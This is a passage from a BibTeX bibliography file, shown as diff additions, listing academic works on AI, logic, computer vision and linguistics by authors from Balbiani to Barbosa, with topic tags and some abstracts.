1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S549--SS562}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;relativity-theory;} + } + +@incollection{ balbiani:1998a, + author = {Philippe Balbiani}, + title = {Terminological Modal Logic}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {23--39 } , + address = {Stanford, California}, + topic = {modal-logic;} + } + +@incollection{ balbiani-etal:1998a, + author = {Philippe Balbiani and Jean-Fran\c{c}ois Condotta and + Luis Fari\~nas del Cerro}, + title = {A Model for Reasoning about Bidimensional Temporal + Relations}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {124--130}, + address = {San Francisco, California}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@inproceedings{ balbiani-osmani:2000a, + author = {Philippe Balbiani and Aomar Osmani}, + title = {A Model for Reasoning about Topologic Relations + between Cyclic Intervals}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {378--385}, + topic = {temporal-reasoning;interval-logic;} + } + +@article{ balcazar:1996a, + author = {Jos\'e L. Balc\'azar}, + title = {The Complexity of Searching Implicit Graphs}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {1}, + pages = {171--188}, + topic = {complexity-in-AI;search;} + } + +@article{ baldner:1990a, + author = {Kent Baldner}, + title = {Is Transcendental Idealism Coherent}, + journal = {Synth\'ese}, + year = {1990}, + volume = {85}, + number = {1}, + pages = {55--70}, + contentnote = {Formulates a version of transcendental idealism, + argues for its epistemological value.}, + topic = {epistemology;Kant;} + } + +@incollection{ baldoni-etal:1996a, + author = {Matteo Baldoni and Laura Giordano and Alberto + Martelli and Viviana Patti}, + title = {An Abductive Proof Procedure for Reasoning about + Actions in Modal Logic Programming}, + booktitle = {Extensions of Logic Programming}, + publisher = {Springer-Verlag}, + address = {Berlin}, + year = {1996}, + pages = {19--33}, + topic = {aduction;logic-programming;action-formalisms;} +} + +@article{ baldoni-etal:1998a, + author = {Matteo Baldoni and Laura Giordano and Alberto Martelli}, + title = {A Modal Extension of Logic Programming: Modularity, + Beliefs and Hypothetical Reasoning}, + journal = {Journal of Logic and Computation}, + year = {1998}, + volume = {8}, + number = {5}, + pages = {597--635}, + topic = {modal-logic;theorem-proving;logic-programming;} +} + +@inproceedings{ balduccini-etal:2000a, + author = {Marcello Balduccini and Michael Gelfond and Monica Nogueira}, + title = {A-Prolog as a Tool for Declarative Programming}, + booktitle = {Proceedings of the 12th International Conference on + Software Engineering and Knowledge Engineering (SEKE'2000)}, + year = {2000}, + publisher = {Knowledge Systems Institute}, + address = {Skokie, Illinois}, + missinginfo = {editor, pages}, + topic = {logic-programming;stable-models;declarative-programming;} + } + +@unpublished{ balduccini-etal:2001a, + author = {Marcello Balduccini and Michael Gelfond and Monica Nogueira + and Richard Watson and Matthew R. Barry}, + title = {An A-Prolog Decision Support System for the Space + Shuttle}, + year = {2001}, + note = {Unpublished manuscript, Texas Tech University}, + topic = {logic-programming;stable-models;decision-support;} + } + +@inproceedings{ baldwin_b-etal:1995a, + author = {Breck Baldwin and Jeff Reynar and Michael John Collins + and Jason Eisner and Adwait Ratnaparkhi and Joseph Rosenzweig + and Anoop Sankar and B. Srinivas}, + title = {Description of the University of Pennsylvania System Used + for {MUC}-6}, + booktitle = {Proceedings of the Sixth {ARPA} Message Understanding + Conference}, + year = {1995}, + missinginfo = {publisher, editor, pages}, + topic = {wordnet;message-understanding;} + } + +@incollection{ baldwin_jf:1991a, + author = {J.F. Baldwin}, + title = {A New Approach to Inference Under Uncertainty for + Knowledge-Based Systems}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {107--114}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;possibility-theory;fuzzy;fuzzy-logic;} + } + +@inproceedings{ balkanski-huraltplantet:1997a, + author = {Cecile Balkanski and Martine Huralt-Plantet}, + title = {Communicative Actions in a Dialog Model for Cooperative + Discourse: An Initial Report}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {12--19}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;discourse;pragmatics;} + } + +@inproceedings{ balke-pearl:1994a, + author = {Alexander Balke and Judea Pearl}, + title = {Probabilistic Evaluation of Counterfactual Queries}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {conditionals;probabilistic-reasoning;} + } + +@incollection{ balke-pearl:1994b, + author = {Alexander Balke and Judea Pearl}, + title = {Counterfactual Probabilities: Computational Methods, + Bounds, and Applications}, + booktitle = {Uncertainty in Artificial Intelligence 10}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {R. Lopez de Mantaras and David Poole}, + pages = {46--54}, + address = {San Mateo, California}, + missinginfo = {E's 1st name.}, + topic = {conditionals;probabilities;causality;} + } + +@incollection{ balke-pearl:1994c, + author = {Alexander Balke and Judea Pearl}, + title = {Counterfactuals and Policy Analysis in Structural Models}, + booktitle = {Uncertainty in Artificial Intelligence 11}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Philippe Besnard and Steven Hanks}, + pages = {11--18}, + address = {San Francisco}, + topic = {conditionals;probabilities;causality;} + } + +@incollection{ balkenius-gardenfors:1991a, + author = {Christian Balkenius and Peter G\"ardenfors}, + title = {Nonmonotonic Inferences in Neural Networks}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {32--39}, + address = {San Mateo, California}, + topic = {kr;kr-course;nonmonotonic-reasoning;connectionist-models;} + } + +@article{ ballard_bw:1983a, + author = {Bruce W. Ballard}, + title = {The *-Minimax Search Procedure for Trees Containing Chance + Nodes}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {3}, + pages = {327--350}, + topic = {search;} + } + +@article{ ballard_d:1988a, + author = {David Ballard}, + title = {Combinatory Completeness without Classical Equality}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {2}, + pages = {115--132}, + topic = {lambda-calculus;fixpoints;diagonalization-arguments;} + } + +@book{ ballard_dh-brown_c:1982a, + author = {Dana H. Ballard and Christopher M. Brown}, + title = {Computer Vision}, + publisher = {Prentice-Hall}, + year = {1982}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0131653164}, + topic = {computer-vision;} + } + +@article{ ballard_dh:1984a, + author = {Dana H. Ballard}, + title = {Parameter Nets}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {3}, + pages = {235--267}, + acontentnote = {Abstract: + This paper describes the nucleus of a connectionist theory of + low-level and intermediate-level vision. The theory explains + segmentation in terms of massively parallel cooperative + computation among intrinsic images and a set of feature networks + at different levels of abstraction. + Explaining how parts of an image are perceived as a meaningful + whole or gestalt is a problem central to vision. A stepping + stone towards a solution is recent work showing how to calculate + images of physical parameters from intensity data. Such images + are known as intrinsic images, and examples are images of + velocity (optical flow), surface orientation, occluding contour, + and disparity. Intrinsic images show great promise; they are + distinctly easier to work with than the original intensity + image, but they are not grouped into objects. A general way in + which such groupings can be detected is to represent possible + groupings as networks whose nodes signify explicit parameter + values. In this case the relation between parts of an intrinsic + image and the gestalt parameters can be specified by active, + two-way connections between an intrinsic image network and a + gestalt parameter network. The active connections will be + many-to-one onto parameter value nodes that represent object + features. The virtues of the methodology are that it can handle + occlusion and noise and can specify intrinsic image boundaries. + Furthermore, it can be made practical for high-dimensional + feature spaces. } , + topic = {connectionist-models;computer-vision;intrinsic-images; + primary/secondary-qualities;reasoning-about-noisy-sensors;} + } + +@article{ ballard_dh:1991a, + author = {Dana H. Ballard}, + title = {Animate Vision}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {1}, + pages = {57--86}, + acontentnote = {Abstract: Animate vision systems have gaze control + mechanisms that can actively position the camera coordinate + system in response to physical stimuli. Compared to passive + systems, animate systems show that visual computation can be + vastly less expensive when considered in the larger context of + behavior. The most important visual behavior is the ability to + control the direction of gaze. This allows the use of very low + resolution imaging that has a high virtual resolution. Using + such a system in a controlled way provides additional + constraints that dramatically simplify the computations of early + vision. Another important behavior is the way the environment + ``behaves''. Animate systems under real-time constraints can + further reduce their computational burden by using environmental + cues that are perspicuous in the local context. A third source + of economy is introduced when behaviors are learned. Because + errors are rarely fatal, systems using learning algorithms can + amortize computational cost over extended periods. Further + economies can be achieved when the learning system uses + indexical reference, which is a form of dynamic variable + binding. Animate vision is a natural way of implementing this + dynamic binding. + } , + topic = {gaze-control;computer-vision;} + } + +@incollection{ ballard_dh:1993a, + author = {Dana H. Ballard}, + title = {Sub-Symbolic Modeling of Hand-Eye Coordination}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {71--102}, + address = {Oxford}, + topic = {cognitive-modeling;hand-eye-coordination;} + } + +@book{ ballard_dh:1997a, + author = {Dana H. Ballard}, + title = {An Introduction To Natural Computation}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0262024209 (hardcover : alk. paper)}, + topic = {neurocognition;} + } + +@inproceedings{ ballarin-paulson:1998a, + author = {Clemens Ballarin and Lawrence C. Paulson}, + title = {Reasoning about Coding Theory: The Benefits We Get From + Computer Algebra}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {55--66}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {combining-systems;automated-algebra;theorem-proving;} + } + +@techreport{ ballarin:1999a, + author = {Clemens Ballarin}, + title = {Computer Algebra and Theorem Proving}, + institution = {Computer Laboratory, University of Cambridge}, + number = {473}, + year = {1999}, + address = {Cambridge}, + acontentnote = {Abstract: + Is the use of computer algebra technology + beneficial for mechanised reasoning in and about mathematical + domains? Usually it is assumed that it is. Many works in this + area, however, either have little reasoning content, or use symbolic + computation only to simplify expressions. In work that has achieved + more, the used methods do not scale up. They trust the computer + algebra system either too much or too little. Computer algebra + systems are not as rigorous as many provers. They are not logically + sound reasoning systems, but collections of algorithms. We classify + soundness problems that occur in computer algebra systems. While + many algorithms and their implementations are perfectly trustworthy, + the semantics of symbols is often unclear and leads to errors. On + the other hand, more robust approaches to interface external + reasoners to provers are not always practical because the + mathematical depth of proofs algorithms in computer algebra are + based on can be enormous. Our own approach takes both + trustworthiness of the overall system and efficiency into account. + It relies on using only reliable parts of a computer algebra system, + which can be achieved by choosing a suitable library, and deriving + specifications for these algorithms from their literature. We + design and implement an interface between the prover Isabelle and + the computer algebra library Sumit [sic] and use it to prove + non-trivial theorems from coding theory. This is based on the + mechanisation of the algebraic theories of rings and polynomials. + Coding theory is an area where proofs do have a substantial amount + of computational content. Also, it is realistic to assume that the + verification of an encoding or decoding device could be undertaken + in, and indeed, be simplified by, such a system. The reason why + semantics of symbols is often unclear in current computer algebra + systems is not mathematical difficulty, but the design of those + systems. For Gaussian elimination we show how the soundness problem + can be fixed by a small extension, and without losing efficiency. + This is a prerequisite for the efficient use of the algorithm in a + prover. } , + topic = {theorem-proving;automated-algebra;} + } + +@book{ ballmer:1978a, + author = {Thomas T. Ballmer}, + title = {Logical Grammar}, + publisher = {North-Holland}, + year = {1978}, + topic = {nl-semantics;speech-acts;pragmatics;} + } + +@incollection{ ballmer:1979a, + author = {Thomas T. Ballmer}, + title = {Context Change, Truth, and Competence}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {21--31}, + topic = {context;} + } + +@book{ ballmer-brennenstuhl:1981a, + author = {Thomas T. Ballmer and Waltraud Brennenstuhl}, + title = {Speech Act Classification: A Study in the + Lexical Analysis of {E}nglish Speech Activity Verbs}, + publisher = {Springer-Verlag}, + year = {1981}, + address = {Berlin}, + xref = {Review: verschueren:1983a}, + topic = {speech-acts;} + } + +@incollection{ ballmer-brennenstuhl:1981b, + author = {Thomas T. Ballmer and Waltraud Brennenstuhl}, + title = {An Empirical Approach to Frametheory: Verb Thesausus + Organization}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {297--319}, + address = {Berlin}, + topic = {lexical-semantics;frames;} + } + +@incollection{ ballmer-brennenstuhl:1981c, + author = {Thomas T. Ballmer and Waltraud Brennenstuhl}, + title = {Lexical Analysis and Language Theory}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {414--461}, + address = {Berlin}, + topic = {lexical-semantics;} + } + +@incollection{ ballmer:1983a, + author = {Thomas T. Ballmer}, + title = {Fuzzy Grammatical Categories}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {261--292}, + address = {Amsterdam}, + topic = {vagueness;nl-syntax;} + } + +@book{ ballmer-pinkal:1983a, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + title = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + address = {Amsterdam}, + contentnote = {TD: + 1. Manfred Pinkal, "Towards a Semantics of Precization" + 2. Joachim Ballweg, "Vagueness or Context-Dependence?" + 3. Ulrich Blau, "Three-Valued Analysis of Precise, Vague, + and Presupposing Quantifiers" + 4. Hans-J\"urgen Eikmeyer and Hannes Rieser, "A Formal + Theory of Context Dependence and Context Change" + 5. Peter Bosch, "`Vagueness' is Context-Dependence: A + Solution to the Sorites Paradox" + 6. G\"unter Todt, "Fuzzy Logic and Modal Logic" + 7. Thomas T. Ballmer, "Fuzzy Grammatical Categories" + 8. Waltrund Brennenstuhl, "A Door's Closing---A + Contribution to the Vagueness Semantics of Tense and + Aspect" + 9. Wolfgang Wildgen, "Modelling Vagueness in + Catastrophe-Theoretic Semantics" + 10. Walther Kindt, "Two Approaches to Vagueness: Theory of + Interaction and Topology" + 11. Hans-J\"urgen Eikmeyer and Hannes Rieser, "A Nominalistic + Approach to Ambiguity and Vagueness Considered from a + Mildly Platonistic Point of View" + } , + topic = {vagueness;} + } + +@incollection{ ballweg-frosch:1979a, + author = {Joachim Ballweg and Helmuth Frosch}, + title = {Comparison and Gradual Change}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {75--89}, + topic = {lexical-semantics;verbs-of-change;} + } + +@incollection{ ballweg:1981a, + author = {Joachim Ballweg}, + title = {Simple Present Tense and Progressive + Periphrases in German}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {222--233}, + address = {Berlin}, + topic = {nl-tense-aspect;German-language;} + } + +@incollection{ ballweg-frosh:1981a, + author = {Joachim Ballweg and Helmut Frosh}, + title = {Formal Semantics for the Progressive of Stative and + Non-Stative Verbs}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {210--221}, + address = {Berlin}, + topic = {nl-tense-aspect;} + } + +@incollection{ ballweg:1983a, + author = {Joachim Ballweg}, + title = {Vagueness or Context-Dependence?}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {59--78}, + address = {Amsterdam}, + topic = {vagueness;context;} + } + +@incollection{ ballwegschramm:1981a, + author = {Angelika Ballweg-Schramm}, + title = {Some Comments on Lexical Fields and Their Use in + Lexicography}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {462--468}, + address = {Berlin}, + topic = {semantic-fields;} + } + +@inproceedings{ baltag-etal:1998a, + author = {Alexandru Baltag and Lawrence S. Moss and Slawomir + Solecki}, + title = {The Logic of Public Announcements and Common Knowledge + for Distributed Applications (Extended Abstract)}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {43--56}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;mutual-belief;assertion;} + } + +@article{ baluja-pomerleau:1997a, + author = {Sumeet Baluja and Dean Pomerleau}, + title = {Dynamic Relevance: Vision-Based Focus of Attention + Using Artificial Neural Networks (Technical Note)}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {381--395}, + topic = {relevance;computer-vision;connectionist-models;} + } + +@article{ bamber:2000a, + author = {Donald Bamber}, + title = {Entailment with Near Surety of Scaled Assertions}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {1}, + pages = {1--74}, + topic = {probability;nonmonotonic-logic;conditionals;} + } + +@article{ banerji-strategy:1972a, + author = {R.B. Banerji and G.W. Ernst}, + title = {Strategy Construction Using Homomorphisms between Games}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {223--249}, + topic = {game-playing;game-strategy;} + } + +@book{ banieqbal-etal:1989a, + editor = {B. Banieqbal and H. Barringer and Amir Pnueli}, + title = {Temporal Logic in Specification}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {temporal-logic;program-verification;} + } + +@unpublished{ baral:1990a, + author = {Chitta Baral}, + title = {Relation between Flat Conditional Logics and Preferential + Models (Preliminary Draft)}, + year = {19}, + note = {Unpublished manuscript, Department of Computer Science, + University of Maryland}, + topic = {conditionals;nonmonotonic-logic;model-preference;} + } + +@inproceedings{ baral-etal:1990a, + author = {Chitta Baral and Jorge Lobo and Jack Minker}, + title = {Generalized Disjunctive Well-Founded Semantics + for Logic Programs: Declarative Semantics}, + booktitle = {Methodologies for Intelligent Systems: Proceedings of + the Fifth International Symposium}, + year = {1990}, + editor = {Zbigniew Ras and M. Zemankova and M. Emrich}, + pages = {212--225}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {well-founded-semantics;} + } + +@inproceedings{ baral-subramanian:1991a, + author = {Chitta Baral and V.S. Subramanian}, + title = {Dualities between Alternative Semantics for Logic Programming + and Nonmonotonic Resoning}, + booktitle = {Proceedings of the First International Workshop on + Logic Programming and Nonmonotonic Reasoning}, + year = {1991}, + pages = {69--85}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + topic = {logic-programming;nonmonotonic-logic;} + } + +@incollection{ baral:1992a, + author = {Chitta Baral}, + title = {Generalized Negation as Failure and Semantics of + Normal Logic Programs}, + booktitle = {Logical Foundations of Computer Science---Tver '92}, + publisher = {Springer-Verlag}, + year = {1992}, + editor = {Anil Nerode and M. Taitslin}, + pages = {309--319}, + address = {Berlin}, + topic = {negation-as-failure;logic-programming;} + } + +@article{ baral-etal:1992a, + author = {Chitta Baral and Sarit Kraus and Jack Minker and V.S. + Subramanian}, + title = {Combining Knowledge Bases Consisting of First Order Theories}, + journal = {Computational Intelligence}, + year = {1992}, + missinginfo = {volume, number, pages}, + topic = {knowledge-integration;} + } + +@inproceedings{ baral-gelfond:1993a, + author = {Chitta Baral and Michael Gelfond}, + title = {Representing Concurrent Actions in Extended Logic + Programming}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {866--871}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {extended-logic-programming;planning-formalisms; + concurrent-actions;} + } + +@article{ baral-gelfond:1994a, + author = {Chitta Baral and Michael Gelfond}, + title = {Logic Programming and Knowledge Representation}, + journal = {Journal of Logic-Programming}, + year = {1994}, + volume = {19--20}, + pages = {73--148}, + missinginfo = {number,check-topic}, + topic = {logic-programming;kr;} + } + +@inproceedings{ baral:1995a, + author = {Chitta Baral}, + title = {Reasoning about Actions: Non-Deterministic Effects, + Constraints, and Qualification}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {2017--2023}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {planning-formalisms,actions;temporal-reasoning;} + } + +@inproceedings{ baral-etal:1995a, + author = {Chitta Baral and Michael Gelfond and Alessandro Provetti}, + title = {Representing Actions I (Laws, Observations and + Hypotheses)}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {action;planning-formalisms;foundations-of-planning;} + } + +@inproceedings{ baral-etal:1996a, + author = {Chitta Baral and Alfredo Gabeldon and Alessandro Provetti}, + title = {Formalizing Narratives Using Nested Circumscription}, + booktitle = {Working Papers: Common Sense '96}, + year = {1996}, + editor = {Sa\v{s}a Buva\v{c} and Tom Costello}, + pages = {15--24}, + publisher = {Computer Science Department, Stanford University}, + address = {Stanford University}, + note = {Consult http://www-formal.Stanford.edu/tjc/96FCS.}, + topic = {kr;circumscription;narrative-representation;kr-course;} + } + +@incollection{ baral-etal:1996b1, + author = {Chitta Baral and Alfredo Gabaldon and Alessandro Provetti}, + title = {Value Minimization in Circumscription}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {474--481}, + address = {San Francisco, California}, + xref = {Journal Publication: baral-etal:1996b2.}, + topic = {nonmonotonic-reasoning;circumscription;} + } + +@article{ baral-etal:1996b2, + author = {Chitta Baral and Alfredo Gabaldon and Alessandro Provetti}, + title = {Value Minimization in Circumscription}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {2}, + pages = {163--186}, + xref = {Conference Publication: baral-etal:1996b1.}, + topic = {nonmonotonic-reasoning;circumscription;} + } + +@article{ baral:1998a, + author = {Chita Baral}, + title = {Formalizing Narratives Using Nested Circumscription}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {107--164}, + topic = {narrative-representation;narrative-understanding; + circumscription;} + } + +@inproceedings{ baral-etal:1999a, + author = {Chitta Baral and Michael Gelfond}, + title = {Reasoning Agents in Dynamic Domains}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {action-formalisms;concurrent-actions;} + } + +@article{ baral:2000a, + author = {Chitta Baral}, + title = {Abductive Reasoning through Filtering}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {1}, + pages = {1--28}, + acontentnote = {Abstract: + Abduction is an inference mechanism where given a knowledge base + and some observations, the reasoner tries to find hypotheses + which together with the knowledge base explain the observations. + A reasoning based on such an inference mechanism is referred to + as abductive reasoning. Given a theory and some observations, by + filtering the theory with the observations, we mean selecting + only those models of the theory that entail the observations. + Entailment with respect to these selected models is referred to + as filter entailment. In this paper we give necessary and + sufficient conditions when abductive reasoning with respect to a + theory and some observations is equivalent to the corresponding + filter entailment. We then give sufficiency conditions for + particular knowledge representation formalisms that guarantee + that abductive reasoning can indeed be done through filtering + and present examples from the knowledge representation + literature where abductive reasoning is done through filtering. + We extend the notions of abductive reasoning and filter + entailment to allow preferences among explanations and models + respectively and give conditions when they are equivalent. + Finally, we give a weaker notion of abduction and abductive + reasoning and show the later to be equivalent to filter + entailment under less restrictive conditions. + } , + topic = {abduction;machine-learning;filtering;} + } + +@inproceedings{ baral-etal:2000a, + author = {Chitta Baral and Sheila McIlraith and Tran Cao San}, + title = {Formulating Diagnostic Reasoning Using an Action + Language with Narratives and Sensing}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {311--322}, + topic = {diagnosis;action-formalisms;sensing-actions;} + } + +@article{ baral-etal:2000b, + author = {Chitta Baral and Vladik Kreinovich and Ra\'ul Trejo}, + title = {Computational Complexity of Planning and Approximate + Planning in the Presence of Incompleteness}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {122}, + number = {1--2}, + pages = {241--267}, + topic = {planning;complexity-in-AI;} + } + +@incollection{ baral-gelfond:2000a, + author = {Chitta Baral and Michael Gelfond}, + title = {Reasoning Agents in Dynamic Domains}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {257--279}, + address = {Dordrecht}, + topic = {logic-in-AI;agent-architectures;logic-programming; + planning-formalisms;} + } + +@incollection{ baral-etal:2002a, + author = {Chitta Baral and Tran Cao Son and Le-Chi Tuan}, + title = {A Transition Function Based Characterization of Actions + with Delayed and Continuous Effects}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {291--302}, + address = {San Francisco, California}, + topic = {kr;reasoning-about-actions;temporal-reasoning;action-formalisms;} + } + +@incollection{ baral-zhung:2002a, + author = {Chitta Baral and Yan Zhung}, + title = {The Complexity of Model Checking for Knowledge Update}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {82--93}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;model-checking;belief-revision;} + } + +@article{ baral-etal:forthcominga, + author = {Chitta Baral and Michael Gelfond and Alessandro + Provetti}, + title = {Representing Actions: Laws, Observations, and Hypotheses}, + journal = {Journal of Logic Programming}, + year = {1997}, + missinginfo = {volume,number,pages}, + topic = {actions;action-formalisms;causality;} + } + +@incollection{ barandregt:1992a, + author = {H.P. Barandregt}, + title = {Lambda Calculi with Types}, + booktitle = {Handbook of Logic in Computer Science}, + publisher = {Oxford University Press}, + year = {1992}, + editor = {Samson Abramsky and Dov Gabbay and T.S.F Maibaum}, + missinginfo = {pages}, + address = {Oxford, England}, + topic = {type-theory;} + } + +@book{ baraz:1992a, + author = {Turhan Baraz}, + title = {Uygulamal{\i} Noktalama-Yaz{\i}m Kurallar{\i}}, + publisher = {Cem Yay{\i}nevi}, + year = {1992}, + address = {\.{I}stanbul}, + topic = {punctuation;} +} + +@article{ barba:1993a, + author = {Juan Barba}, + title = {A Modal Reduction for Partial Logic}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {4}, + pages = {429--434}, + topic = {bilattices;modal-logic;} + } + +@article{ barba:1998a, + author = {Juan Barba}, + title = {Construction of Truth Predicates: Approximation Versus + Revision}, + journal = {The Bulletin of Symbolic Logic}, + year = {199}, + volume = {4}, + number = {4}, + pages = {399--417}, + topic = {truth;semantic-paradoxes;fixpoints;} + } + +@inproceedings{ barbeceanu:1998a, + author = {Mihai Barbeceanu}, + title = {Coordinating Agents by Role Based Social Constraints + and Conversation Plans}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {16--21}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {coord-in-conversation;coordination;artificial-societies;} + } + +@incollection{ barbera:1983a, + author = {Salvador Barber\'a}, + title = {Pivotal Voters: A Simple Proof of {A}rrow's Theorem}, + booktitle = {Social Choice and Welfare}, + publisher = {North-Holland Publishing Company}, + year = {1983}, + editor = {Prasanta K. Pattanaik and Maurice Salles}, + pages = {31--35}, + address = {Amsterdam}, + topic = {social-choice-theory;} + } + +@book{ barbosa:1998a, + editor = {Pilar Barbosa}, + title = {Is The Best Good Enough? Optimality and Competition in Syntax}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + 